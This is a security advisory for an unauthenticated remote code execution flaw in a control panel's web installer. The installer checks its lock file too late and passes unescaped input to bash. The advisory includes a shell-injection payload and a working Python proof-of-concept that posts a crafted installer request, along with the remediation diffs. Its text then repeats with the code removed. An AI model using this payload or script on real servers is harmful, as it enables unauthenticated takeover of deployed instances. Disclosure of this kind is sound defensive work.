Summary
The web-based installer (public/installer/index.php) checked for the
presence of install.lock only after loading and executing form handler
files. This allowed unauthenticated attackers to interact with installer
forms on already-installed instances. Combined with unsanitized user input
passed to shell commands within the installer, this resulted in
unauthenticated Remote Code Execution (RCE).
This vulnerability is reported to be actively exploited in the wild.
Details
The installer script followed a flawed order of operations:
- Form and input handler files are included and become executable
- Shell commands are constructed using unsanitized user input
- Only after the above does the script check for
install.lock
Because form logic was active before the lock file check, an attacker
could submit crafted input to installer endpoints on any deployed instance
regardless of installation state.
Two distinct weaknesses combined to produce RCE:
1. Premature form handler execution before lock file check
The install.lock check was placed after form includes in index.php,
meaning all POST handlers were reachable before execution was gated.
2. Unsanitized user input passed to shell commands
In src/forms/smtp.php, user-supplied values were interpolated directly
into a shell command string without escaping:
// Vulnerable
run_console("php artisan settings:set 'MailSettings' '$key' '$value'", ...);
In src/functions/shell.php, the run_console() function passed the
command and working directory path to proc_open via bash -c without
escaping:
// Vulnerable
$handle = proc_open("cd '$path' && bash -c 'exec -a ServerCPP $command'", ...);
An attacker could break out of the single-quoted $value context using
a payload such as:
asdasd'' && bash -c 'malicious_command'
This terminates the intended shell argument and appends an arbitrary
command that executes with the web server's privileges.
PoC
The following script demonstrates unauthenticated RCE against an installed
instance by spinning up a minimal fake Pterodactyl API server and submitting
a crafted installer request:
import json
import threading
import requests
from flask import Flask, Response
def send_payload(fake_pterodactyl: str, base_url: str, command: str) -> None:
payload = {
"checkPtero": "1",
"url": fake_pterodactyl,
"key": f"asdasdasda'' && bash -c '{command}'",
"clientkey": "asdasdasdasdasd",
}
url = f"{base_url}/installer/index.php"
response = requests.post(url, data=payload, verify=False, timeout=3)
print(response.status_code)
print(response.text)
def start_webserver(host: str, port: int) -> None:
app = Flask(__name__)
@app.route("/api/application/users")
def api_application_users():
return Response(json.dumps([]), status=200, mimetype="application/json")
@app.route("/api/client/account")
def api_client_account():
return Response(json.dumps([]), status=200, mimetype="application/json")
app.run(host=host, port=port)
def main():
t1 = threading.Thread(target=start_webserver, args=("0.0.0.0", 80))
t1.start()
send_payload(
fake_pterodactyl="http://10.0.0.100", # must be reachable by the target
base_url="https://ctrlpanel", # target instance
command="whoami > /tmp/poc",
)
if __name__ == "__main__":
main()
Impact
An unauthenticated remote attacker can execute arbitrary OS commands with
the privileges of the web server process on any deployed instance where
the installer directory has not been manually removed. No credentials or
prior knowledge of the target are required.
Observed and potential consequences include:
- Full server compromise - arbitrary command execution enables reading
environment files (.env), database credentials, and application secrets
- Lateral movement - access to database credentials and internal network
context from the compromised host
- Persistence - ability to plant backdoors or modify application files
- Active exploitation - this vulnerability has been observed being
exploited in the wild prior to the patch being available
Remediation
Three changes were applied in the fix:
1. Move install.lock check to the top of index.php, before any
form files are included:
+if (file_exists('../../install.lock')) {
+ exit("The installation has been completed already. Please delete the File 'install.lock' to re-run");
+}
+
if (!file_exists('../../.env')) {
2. Escape user-supplied values before shell interpolation in smtp.php:
-run_console("php artisan settings:set 'MailSettings' '$key' '$value'", ...);
+$safeValue = escapeshellarg($value);
+run_console("php artisan settings:set 'MailSettings' '$key' $safeValue", ...);
3. Escape path and command arguments in shell.php:
-$handle = proc_open("cd '$path' && bash -c 'exec -a ServerCPP $command'", ...);
+$escapedPath = escapeshellarg($path);
+$escapedCommand = escapeshellarg("exec -a ServerCPP $command");
+$handle = proc_open("cd $escapedPath && bash -c $escapedCommand", ...);
Instances that cannot apply the patch immediately should remove or
restrict access to the public/installer/ directory at the web server
level as a temporary mitigation.
Summary
The web-based installer (
public/installer/index.php) checked for thepresence of
install.lockonly after loading and executing form handlerfiles. This allowed unauthenticated attackers to interact with installer
forms on already-installed instances. Combined with unsanitized user input
passed to shell commands within the installer, this resulted in
unauthenticated Remote Code Execution (RCE).
This vulnerability is reported to be actively exploited in the wild.
Details
The installer script followed a flawed order of operations:
install.lockBecause form logic was active before the lock file check, an attacker
could submit crafted input to installer endpoints on any deployed instance
regardless of installation state.
Two distinct weaknesses combined to produce RCE:
1. Premature form handler execution before lock file check
The
install.lockcheck was placed after form includes inindex.php,meaning all POST handlers were reachable before execution was gated.
2. Unsanitized user input passed to shell commands
In
src/forms/smtp.php, user-supplied values were interpolated directlyinto a shell command string without escaping:
In
src/functions/shell.php, therun_console()function passed thecommand and working directory path to
proc_openviabash -cwithoutescaping:
An attacker could break out of the single-quoted
$valuecontext usinga payload such as:
This terminates the intended shell argument and appends an arbitrary
command that executes with the web server's privileges.
PoC
The following script demonstrates unauthenticated RCE against an installed
instance by spinning up a minimal fake Pterodactyl API server and submitting
a crafted installer request:
Impact
An unauthenticated remote attacker can execute arbitrary OS commands with
the privileges of the web server process on any deployed instance where
the installer directory has not been manually removed. No credentials or
prior knowledge of the target are required.
Observed and potential consequences include:
environment files (
.env), database credentials, and application secretscontext from the compromised host
exploited in the wild prior to the patch being available
Remediation
Three changes were applied in the fix:
1. Move
install.lockcheck to the top ofindex.php, before anyform files are included:
2. Escape user-supplied values before shell interpolation in
smtp.php:3. Escape path and command arguments in
shell.php:Instances that cannot apply the patch immediately should remove or
restrict access to the
public/installer/directory at the web serverlevel as a temporary mitigation.